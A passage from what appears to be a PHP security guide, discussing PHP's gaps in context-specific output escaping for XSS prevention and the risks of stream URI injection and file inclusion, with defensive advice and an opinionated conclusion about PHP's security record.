
This also passes and is usable in most PHP filesystem functions. It also, once again, drives home the thread running through all of these examples. If these are not security vulnerabilities in PHP, what the heck are they? Who builds half of a URL validator, omits the most important piece, and then promotes it to core for programmers to deal with its inadequacies. Maybe we're blaming inexperienced programmers for this one too?

### 7.3.2 B. Output Escaping (or Sanitisation)

Failures in output escaping are the second underlying cause of XSS vulnerabilities though PHP's problem here is more to do with its lack of escaping features and a pervading assumption among programmers that all they need are native PHP functions. Similar to the issue with XML Injection Attacks from earlier, this is an assumption based problem where programmers assume PHP offers all the escaping they'll ever need while it actually does nothing of the sort in reality. Let's take a look at some HTML contexts (context determines the correct escaping strategy to use).

#### URL Context

PHP offers the rawurlencode() function. It works, it has no flaws, please use it when injecting data into a URI reference such as the href attribute. Also, remember to validate whole URIs after any

insertion of possibly untrusted data to check for any creative manipulations. Obviously, bear in mind the issue with validating URLs using the filter extension I noted earlier.

### HTML Context

The commonly used htmlspecialchars() function is the object of programmer obsession. If you believed most of what you read, htmlspecialchars() is the only escaping function in PHP and HTML Body escaping is the only escaping strategy you need to be aware of. In reality, it represents just one escaping strategy - there are four others commonly needed.

When used carefully, wrapped in a secured function or closure, htmlspecialchars() is extremely effective. However, it's not perfect and it does have flaws which is why you need a wrapper in the first place, particularly when exposing it via a framework or templating API where you cannot control its end usage. Rather than reiterate all the issues here, I've already written a previous article detailing an analysis of htmlspecialchars() and scenarios where it can be compromised leading to escaping bypasses and XSS vulnerabilities: http://blog.astrumfutura.com/2012/03/a-hitchhikers-guide-to-cross-site-scripting-xss-in-php-part-1-how-not-to-use-htmlspecialchars-for-output-escaping/

### HTML Attribute Context

PHP does not offer an escaper dedicated to HTML Attributes.

This is required in the event that a HTML attribute is unquoted - which is entirely valid in HTML5, for example. htmlspecialchars() MUST NEVER be used for unquoted attributed values. It must also never be used for single quoted attribute values unless the ENT_QUOTES flag was set. Without additional userland escaping, such as that used by ZendEscaper, this means that all templates regardless of origin should be screened to weed out any instances of unquoted/single quoted attribute values.

### Javascript Context

PHP does not offer an escaper dedicated to Javascript.

Programmers do, however, sometimes vary between using addslashes() and json_encode(). Neither function applies secure Javascript escaping by default, and not at all in PHP 5.2 or for non-UTF8 character encodings, and both types of escaping are subtly different from literal string and JSON encoding. Abusing these functions is certainly not recommended. The correct means of escaping Javascript as part of a HTML document has been documented by OWASP for some time and implemented in its ESAPI framework. A port to PHP forms part of ZendEscaper.

### CSS Context

PHP does not offer an escaper dedicated to CSS. A port to PHP of OWASP's ESAPI CSS escaper forms part of ZendEscaper.

As the above demonstrates, PHP covers 2 of 5 common HTML escaping contexts. There are gaps in its coverage and several flaws in one that it does cover. This track record very obviously shows that PHP is NOT currently concerned about implementing escaping for the web's second most populous security vulnerability - a sentiment that has unfortunately pervaded PHP given the serious misunderstandings around context-based escaping in evidence. Perhaps PHP could rectify this particular environmental problem, once and for all, by offering dedicated escaper functions or a class dedicated to this task? I've drafted a simple RFC for this purpose if anyone is willing, with their mega C skills, to take up this banner: https://gist.github.com/3066656

## 7.4 Stream URI Injection Attack (incl. Local/Remote File Inclusion)

This one turns up last because it's neither a default vulnerability per se or an omission of security features. Rather it apparently arises due to insanity. For some reason, the include(), include_once(), require() and require_once() functions are capable of accepting remote URLs when allow_url_include is enabled. This option shouldn't even exist let alone be capable of being set to On.

For numerous other file functions, the allow_url_fopen option allows these to accept remote URLs (and defaults to being enabled). Again, this raises the spectre of applications and libraries running afoul of accepting unintended external resources controlled by an attacker should they be able to manipulate the Stream URI passed to those functions.

So great, let's disable allow_url_fopen and use a proper HTTP client like normal programmers. We're done here, right? Right???

The next surprise is that these functions will also accept other stream URIs to local resources including mysterious URIs containing php://, ogg://, zlib://, zip:// and data:// among a few others. If these appear a wee bit suspicious, it's because they are and you can't disable them in the configuration (though you can obviously not install PECL extensions exposing some of these). Another I'm weirded out by is a relatively new file descriptor URI using php://fd to be added to php://filter (which is already responsible for making Information Discloure vulnerabilities far worse than needed).

Also surprising therefore is that the allow_url_include option doesn't prevent all of these from being used. It is obvious from the option name, of course, but many programmers don't consider that include() can accept quite a few streams if they relate to local resources including uploaded files that may be encoded or compressed to disguise their payload.

This stream stuff is a minefield where the need to have a generic I/O interface appears to have been realised at the expense of security. Luckily the solutions are fairly simple - don't let untrusted input enter file and include function parameters. If you see a variable enter any include or filesystem function set Red Alert and charge phasers to maximum. Exercise due caution to validate the variable.

## 7.5 Conclusion

While a lengthy article, the core purpose here is to illustrate a sampling of PHP behaviours which exist at odds with good security practices and to pose a few questions. If PHP is a secure programming language, why is it flawed with such insecure defaults and feature omissions? If these are security vulnerabilities in applications and libraries written in PHP, are they not also therefore vulnerabilities in the language itself? Depending on how those questions are answered, PHP appears to be both aware of yet continually ignoring serious shortcomings in its security.

At the end of the day, all security vulnerabilities must be blamed on someone - either PHP is at fault and it needs to be fixed or programmers are at fault for not being aware of these issues. Personally, I find it difficult to blame programmers. They expect their programming language to be secure and it's not an unreasonable demand. Yes, tighening security may make a programmer's life more difficult but this misses an important point - by not tightening security, their lives are already more difficult with userland fixes being required, configuration options that need careful monitoring, and documentation omissions, misinformation and poor examples leading them astray.

So PHP, are you a secure programming language or not? I'm no longer convinced that you are and I really don't feel like playing dice with you anymore.

This article can be discussed or commented on at: http://blog.astrumfutura.com/2012/08/php-security-default-vulnerabilities-security-omissions-and-framing-programmers/

CHAPTER 8

# Indices and tables

- *genindex*
- *modindex*
- *search*